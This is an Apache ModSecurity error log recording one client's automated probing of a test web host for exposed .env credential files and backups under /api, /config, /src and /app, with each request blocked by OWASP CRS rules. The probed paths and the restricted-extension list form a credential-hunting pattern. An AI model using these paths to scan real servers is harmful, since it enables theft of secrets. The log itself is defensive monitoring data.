[Sun Oct 26 01:25:06.728116 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aP1cUhXkZeq6T3EwQbX-ngAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:06.728311 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aP1cUhXkZeq6T3EwQbX-ngAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:06.729135 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aP1cUhXkZeq6T3EwQbX-ngAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:06.729341 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aP1cUhXkZeq6T3EwQbX-ngAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:07.334499 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aP1cUxXkZeq6T3EwQbX-nwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:07.334680 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aP1cUxXkZeq6T3EwQbX-nwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:07.334910 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aP1cUxXkZeq6T3EwQbX-nwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:07.335102 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aP1cUxXkZeq6T3EwQbX-nwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:07.940045 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env, referer: https://www.google.com/
[Sun Oct 26 01:25:08.545145 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.save, referer: https://www.google.com/
[Sun Oct 26 01:25:09.188712 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.bak, referer: https://www.google.com/
[Sun Oct 26 01:25:09.793898 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.old, referer: https://www.google.com/
[Sun Oct 26 01:25:10.400501 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aP1cVhXkZeq6T3EwQbX-pAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:10.400762 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aP1cVhXkZeq6T3EwQbX-pAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:10.400954 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aP1cVhXkZeq6T3EwQbX-pAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:11.008393 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aP1cVxXkZeq6T3EwQbX-pQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:11.008655 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aP1cVxXkZeq6T3EwQbX-pQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:11.008855 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aP1cVxXkZeq6T3EwQbX-pQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:11.614008 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aP1cVxXkZeq6T3EwQbX-pgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:11.614207 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aP1cVxXkZeq6T3EwQbX-pgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:11.614470 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aP1cVxXkZeq6T3EwQbX-pgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:11.614661 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aP1cVxXkZeq6T3EwQbX-pgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:12.219858 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aP1cWBXkZeq6T3EwQbX-pwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:12.220054 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aP1cWBXkZeq6T3EwQbX-pwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:12.220291 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aP1cWBXkZeq6T3EwQbX-pwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:12.220487 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aP1cWBXkZeq6T3EwQbX-pwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:12.825859 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aP1cWBXkZeq6T3EwQbX-qAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:12.826157 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aP1cWBXkZeq6T3EwQbX-qAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:12.826417 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aP1cWBXkZeq6T3EwQbX-qAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:13.431681 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aP1cWRXkZeq6T3EwQbX-qQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:13.431935 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aP1cWRXkZeq6T3EwQbX-qQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:13.432135 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aP1cWRXkZeq6T3EwQbX-qQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:14.064663 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aP1cWhXkZeq6T3EwQbX-qgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:14.064863 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aP1cWhXkZeq6T3EwQbX-qgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:14.065096 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aP1cWhXkZeq6T3EwQbX-qgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:14.065293 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aP1cWhXkZeq6T3EwQbX-qgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:14.670600 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aP1cWhXkZeq6T3EwQbX-qwAAAAY"], referer: https://www.google.com/
